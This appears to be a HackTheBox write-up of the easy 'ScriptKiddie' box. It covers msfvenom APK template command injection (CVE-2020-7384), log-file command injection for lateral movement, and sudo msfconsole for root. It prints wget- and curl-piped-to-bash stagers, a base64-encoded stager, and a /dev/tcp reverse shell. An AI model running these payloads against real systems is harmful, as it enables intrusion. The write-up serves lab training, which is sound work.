05 Jun 2021 | Reading time: ~7 min

HackTheBox - ScriptKiddie [Easy]

#HackTheBox #Easy #Linux #CVE-2020-7384 #msfvenom-command-injection #command-injection #lateral-movement #insecure-file-permissions #msfconsole-privesc #B2R #writeup


Table of contents

  1. Introduction
    1. Improved skills:
    2. Used tools:
  2. Enumeration
  3. Foothold
  4. Lateral Movement to pwn
  5. Privilege Escalation
  6. Trophy


ScriptKiddie is an easy difficulty Linux box based on known vulnerabilities for traditional hacking tools. The target machine ran a custom web application that interacted with different tools, one of which vulnerable to APK template command injection. Exploiting the issue it was possible to obtain a reverse shell and get a foothold on the target. Local enumeration allowed to find a custom script ran with user privileges, also vulnerable to command injection, which provided user access to the box. pwn was allowed to execute msfconsole with high privileges using sudo, allowing to spawn a high privileged shell

Improved skills:

  • Command Injection Attacks
  • Code review

Used tools:

  • nmap
  • netcat


Scanned all tcp ports:

└─$ sudo nmap -oN scans/all-ports.txt -sS -p- -v
22/tcp   open  ssh
5000/tcp open  http

Enumerated all open ports:

└─$ sudo nmap -oN scans/open-ports.txt -sT -sC -sV -Pn -p22,5000
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
|   256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
|_  256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
5000/tcp open  http    Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-title: k1d'5 h4ck3r t00l5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.33 seconds

Nmap discovered two services running on the target: an ssh service on port 22 revealing the exact build version of openssh and a python web server running on a non traditional port.

Pasted image 20210421103447.png

It was searched for known exploit targeting Werkzeug: Pasted image 20210421104830.png However for the current target the debug shell was not enabled.

Current web application features depended on different external tools (nmap, msfvenom and searchsploit), one of which vulnerable to APK template command injection. Pasted image 20210421122525.png


The version of msfvenom used by the web application was vulnerable to APK template command injection (CVE-2020-7384). Metasploit msfvenom framework handles APK files in a way that allows for a malicious user to craft and publish a file that would execute arbitrary commands on a victim’s machine.

Because the web site allowed to upload different files used as template by msfvenom, this was a solid path to follow (since no msfvenom version was obtained earlier).

The PoC used to craft the malicious APK was the following: https://www.exploit-db.com/exploits/49491 The payload was then changed to download and execute a reverse shell on the victim machine:

# Change me
payload = 'wget -O - | bash'

This was the second stage payload downloaded and executed by the initial one:

bash -i >& /dev/tcp/ 0>&1

The malicious apk file was generated and the second stage payload was hosted using python http server:

└─$ python3 49491.py
[+] Manufacturing evil apkfile
Payload: wget -O - | bash
-dname: CN='|echo d2dldCAtTyAtIDEwLjEwLjE0LjE0L3JldnNoZWxsLnNoIHwgYmFzaA== | base64 -d | sh #

  adding: empty (stored 0%)
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
jar signed.

The signer's certificate is self-signed.
The SHA1 algorithm specified for the -digestalg option is considered a security risk. This algorithm will be disabled in a future update.
The SHA1withRSA algorithm specified for the -sigalg option is considered a security risk. This algorithm will be disabled in a future update.
POSIX file permission and/or symlink attributes detected. These attributes are ignored when signing and are not protected by the signature.

[+] Done! apkfile is at /tmp/tmps70hg8mz/evil.apk
Do: msfvenom -x /tmp/tmps70hg8mz/evil.apk -p android/meterpreter/reverse_tcp LHOST= LPORT=4444 -o /dev/null

└─$ sudo python3 -m http.server 80
Serving HTTP on port 80 ( ...

Uploaded the malicious apk to the application and obtained a reverse shell: Pasted image 20210421132429.png

└─$ sudo nc -nlvp 443                                                        
[sudo] password for kali:
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 56612
bash: cannot set terminal process group (895): Inappropriate ioctl for device
bash: no job control in this shell
kid@scriptkiddie:~/html$ whoami
kid@scriptkiddie:~/html$ hostname
kid@scriptkiddie:~/html$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
kid@scriptkiddie:~/html$ ^Z
zsh: suspended  sudo nc -nlvp 443

└─$ stty raw -echo; fg
[1]  + continued  sudo nc -nlvp 443

kid@scriptkiddie:~/html$ export TERM=xterm
kid@scriptkiddie:~/html$ stty rows 60 columns 235

Lateral Movement to pwn

Observing the running processes and local enumerating the box it was possible to discover a bash script vulnerable to code injection ran by the pwn user:

kid@scriptkiddie:~/html$ cat /etc/passwd

kid@scriptkiddie:/var/www$ id
uid=1000(kid) gid=1000(kid) groups=1000(kid)
2021/04/21 12:51:12 CMD: UID=1001 PID=64051  | /bin/bash /home/pwn/scanlosers.sh
2021/04/21 12:51:12 CMD: UID=1001 PID=64055  |
2021/04/21 12:51:12 CMD: UID=1001 PID=64054  |
2021/04/21 12:51:12 CMD: UID=1001 PID=64059  | /bin/bash /home/pwn/scanlosers.sh
2021/04/21 12:51:12 CMD: UID=1001 PID=64058  | /bin/bash /home/pwn/scanlosers.sh
2021/04/21 12:51:12 CMD: UID=1001 PID=64057  | nmap --top-ports 10 -oN recon/
2021/04/21 12:51:12 CMD: UID=1001 PID=64056  | sh -c nmap --top-ports 10 -oN recon/ 2>&1 >/dev/null
2021/04/21 12:51:13 CMD: UID=1001 PID=64064  | /bin/bash /home/pwn/scanlosers.sh
2021/04/21 12:51:13 CMD: UID=1001 PID=64063  | /bin/bash /home/pwn/scanlosers.sh
2021/04/21 12:51:13 CMD: UID=1001 PID=64062  | /bin/bash /home/pwn/scanlosers.sh
2021/04/21 12:51:13 CMD: UID=1001 PID=64061  | /bin/bash /home/pwn/scanlosers.sh
2021/04/21 12:51:13 CMD: UID=1001 PID=64060  | /bin/bash /home/pwn/scanlosers.sh
2021/04/21 12:51:14 CMD: UID=0    PID=64067  | /usr/sbin/incrond
2021/04/21 12:52:01 CMD: UID=0    PID=64081  | /bin/sh -c find /home/kid/html/static/payloads/ -type f -mmin +5 -delete
2021/04/21 12:52:01 CMD: UID=0    PID=64080  | /usr/sbin/CRON -f
2021/04/21 12:56:57 CMD: UID=1001 PID=64210  | /bin/bash -c sed -i 's/open  /closed/g' "/home/pwn/recon/"

The scanlosers.sh script ran every time a hack was detected. It read data from a writable log file owned by kid (current user) and used them to build an nmap command:



cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &

if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi

A ping command was injected inside the log file to verify the vulnerability:

kid@scriptkiddie:~/logs$ echo '0 0 $(ping -c1' > hackers
└─$ sudo tcpdump icmp -i tun0
[sudo] password for kali:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
12:20:06.879068 IP > ICMP echo request, id 5, seq 1, length 64
12:20:06.879098 IP > ICMP echo reply, id 5, seq 1, length 64
12:20:06.930982 IP > ICMP echo request, id 6, seq 1, length 64
12:20:06.931030 IP > ICMP echo reply, id 6, seq 1, length 64

Proved that it was possible to execute code, a two-stage reverse shell payload was then used.

Served the same reverse shell used during the foothold:

└─$ sudo python3 -m http.server 80
Serving HTTP on port 80 ( ...

Injected the staged command within the log:

kid@scriptkiddie:~/logs$ echo '0 0 $(curl | bash )' > hackers

Obtained the reverse shell:

└─$ sudo nc -nlvp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 56974
bash: cannot set terminal process group (856): Inappropriate ioctl for device
bash: no job control in this shell
pwn@scriptkiddie:~$ whoami

Privilege Escalation

Enumerated sudo privileges of the pwn user:

pwn@scriptkiddie:~$ sudo -l
Matching Defaults entries for pwn on scriptkiddie:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pwn may run the following commands on scriptkiddie:
    (root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsole

Because the pwn user was able to execute the msfconsole tool with high privileges and the tool itself offered a builtin function to spawn a shell, it was possible to leverage this feature to obtain a full interactive root shell:

pwn@scriptkiddie:~$ sudo /opt/metasploit-framework-6.0.9/msfconsole -q
msf6 > bash
[*] exec: bash

root@scriptkiddie:/home/pwn# whoami && hostname && cat /root/root.txt && ifconfig -a
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet  netmask  broadcast
        inet6 fe80::250:56ff:feb9:a9c3  prefixlen 64  scopeid 0x20<link>
        inet6 dead:beef::250:56ff:feb9:a9c3  prefixlen 64  scopeid 0x0<global>
        ether 00:50:56:b9:a9:c3  txqueuelen 1000  (Ethernet)
        RX packets 31355  bytes 6228551 (6.2 MB)
        RX errors 0  dropped 59  overruns 0  frame 0
        TX packets 20962  bytes 24340256 (24.3 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet  netmask
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 53480  bytes 3798372 (3.7 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 53480  bytes 3798372 (3.7 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Pasted image 20210421184741.png


A hacker does for love what others would not do for money
- Laura Creighton